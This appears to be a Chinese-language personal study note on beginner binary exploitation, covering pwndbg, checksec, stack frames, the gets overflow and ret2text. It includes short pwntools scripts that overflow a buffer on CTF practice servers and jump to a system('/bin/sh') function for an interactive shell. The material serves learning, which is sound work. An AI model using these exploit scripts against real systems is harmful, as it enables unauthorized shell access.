前言 个人感觉pwn和web是安全俩个大方向,与逆向相比,pwn要更加底层,所以暂时并不打算过于深入的学习pwn,旨在了解一些简单的二进制漏洞即可 感觉pwn比逆向难学多了,诶,慢慢来吧,着急不得,这里暂时先把那几个常见漏洞的原理,常见利用,和加固了解一下,学的太艰难了
常见pwn工具的使用 GDB 的使用方法 GDB(GNU Debugger)是 Linux/Unix 系统中常用的程序调试工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> break main Breakpoint 1 at 0x40080f pwndbg> info break Num Type Disp Enb Address What 1 breakpoint keep y 0x000000000040080f <main+4> pwndbg> cyclic 100 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa pwndbg> cyclic -l aaaamaaa Finding cyclic pattern of 8 bytes: b'aaaamaaa' (hex: 0x616161616d616161) Found at offset 92
checksec 检查安全机制开启情况
1 2 3 4 5 6 RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
编写攻击脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(os="linux" ,arch="amd64" ,log_level="debug" ) a=process("./pwn1" ) a=remote("node5.buuoj.cn" ,29119 ) payload=b'a' *(0x0f -0x00 +8 )+p64(0x040118a ) a.recvuntil("please input" ) code=a.recv(N) line=a.recvline() lines=a.recvlines(N) a.sendline(payload) a.sendlineafter("please input" ,payload) a.interactive()
struct struct 模块可以将某些特定的结构体类型打包成二进制流的字符串 pwntools 里的 p32 / p64 本质就是 struct 的封装。
1 2 3 4 5 6 7 struct.pack("<I" , x) struct.pack("<Q" , x) print (list (struct.pack("<I" , 0x12345678 )))print (list (struct.pack("<Q" , 0x12345678 )))print (list (struct.pack("<Q" , 0x123456789ABCDEF0 )))struct.pack("<f" , 3.14 )
类型
struct 格式
字节
pwntools
uint8
B
1
p8
uint16
H
2
p16
uint32
I
4
p32
uint64
Q
8
p64
float
f
4
无(需 struct.pack)
double
d
8
无(需 struct.pack)
常见二进制普适漏洞及利⽤ 栈缓冲区溢出 栈溢出指的是程序向栈中的某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
基础知识 栈是汇编程序中用于管理函数调用、参数传递、局部变量和寄存器状态的内存结构。 它让程序能像积木一样层层调用又安全返回,是 CPU 调用机制的“中枢神经”。
sp——stack point——堆栈指针寄存器,始终指向当前栈顶 ,是push和pop的参考坐标 bp——base point——基础指针,在函数执行期间固定,作为当前函数栈帧的基准点
栈具有高地址在上,低地址在下的特点,即老数据在大地址,新数据在小地址,pop的时候,sp增加,push的时候sp减少
32位代码说明 1 2 3 4 5 6 7 8 9 10 11 12 13 14 main: call foo ; 调用 foo foo: push ebp ; 保存调用者的 EBP(即上一个函数的栈基址) mov ebp, esp ; 当前 ESP(栈顶)成为新函数的栈基址 sub esp, 0x20 ; 为局部变量分配空间(例如 32 字节) ; -------- 函数体使用栈(用 [ebp - offset] / [ebp + offset] 访问) -------- ; 函数返回(epilogue) mov esp, ebp ; 恢复栈顶(释放本函数的局部变量) pop ebp ; 恢复调用者的 EBP(返回到调用者的栈帧) ret ; 从栈顶弹出返回地址并跳回(CPU 内部)等价于:RIP = [RSP] RSP += 8
32位栈位大小位4字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ↑ 高地址 | 值 指向 |-------------------------------- | ... caller (main) 的栈帧 ... |-------------------------------- | argN <- [EBP + 8 + 4*(N-1)] +-------------------------------- | ... +-------------------------------- | arg2 +-------------------------------- <- [EBP + 12] | arg1 |-------------------------------- <- [EBP + 8] | 返回地址(call foo的下一条指令的地址,ret时弹出) |-------------------------------- ← [EBP + 4] | main 的 EBP(push ebp) |-------------------------------- ← [foo函数的 EBP] | 函数内局部变量区域 (32 字节) ← [EBP - 0x20] ~ [EBP - 1] |-------------------------------- 低地址 | ← ESP(永远指向栈顶)
函数的调用与返回是对称的:进栈多少字节,就要出栈多少字节。
危险函数 gets gets函数是一个危险函数。因为它不检查输入的字符串长度,而是以回车来判断结束
1 2 3 4 5 6 7 8 9 10 int __fastcall main (int argc, const char **argv, const char **envp) { char s[15 ]; puts ("please input" ); gets((__int64)s, (__int64)argv); puts (s); puts ("ok,bye!!!" ); return 0 ; }
如上述代码输入超过 15 字节,就会覆盖s 后面的栈空间,而s是main函数中的临时变量,后紧跟saved RBP和return address,溢出就会覆盖返回地址
ret2text ret2text 即控制程序执行程序本身已有的的代码(.text)。即存在危险函数如system("/bin")或execv("/bin/sh")的片段,可以直接劫持返回地址到目标函数地址上
如何利用后门函数
直接调用函数 可以直接调用,但是64 位系统高版本 需要在调用前函数前加个ret平衡堆栈,glibc2.27 以后引入 xmm 寄存器,记录程序状态,在执行 system() 函数时会执行 movaps 指令,要求 rsp 按 16 字节对齐,需要在进入 system() 函数之前加上一个 ret 指令的地址来平衡堆栈
获取一个ret指令的地址ROPgadget --binary 文件名 --only 'ret'
1 2 3 4 5 6 7 from pwn import *p = remote("node4.buuoj.cn" ,29798 ) fuc_addr=0x401186 ret_addr=0x401016 payload = 'a' *23 + p64(ret_addr) +p64(fuc_addr) p.sendline(payload) p.interactive()
为什么加个ret就能平衡堆栈哪?加ret难道不会影响后面的函数跳转吗? 比如说注入点是gets函数,注入完成之后函数返回
1 2 3 4 ; 函数返回(epilogue) mov esp, ebp ; 恢复栈顶(释放本函数的局部变量) pop ebp ; 恢复调用者的 EBP(返回到调用者的栈帧) ret ; 从栈顶弹出返回地址并跳回(CPU 内部)等价于:RIP = [RSP] RSP += 8
因为返回地址是ret,所以RIP为当前插入的ret的地址,rsp指向栈中的fuc_addr 此时再执行一次ret,RIP为当前插入的fuc_addr的地址所以等于说加个ret,调用结果没有变但是RSP += 8 为什么需要RSP += 8? 函数内容如下
1 2 3 4 5 6 7 .text:0000000000401186 push rbp .text:0000000000401187 mov rbp, rsp .text:000000000040118A lea rdi, command ; "/bin/sh" .text:0000000000401191 call _system .text:0000000000401196 nop .text:0000000000401197 pop rbp .text:0000000000401198 retn
可以看到函数执行的时候,会先push rbp,此时RSP -= 8
调用system方法 其实我们只要保证lea rdi, command call _system这两行汇编代码执行就行了,所以我们可以选择p64(40118A)或者p64(401187)作为调用地址,只要不执行push rbp,就不需要ret
没有system(“/bin/sh”),但可以自己构造 ret2shellcode 格式化字符串漏洞 整数溢出 字符串 \0 结尾 堆缓冲区溢出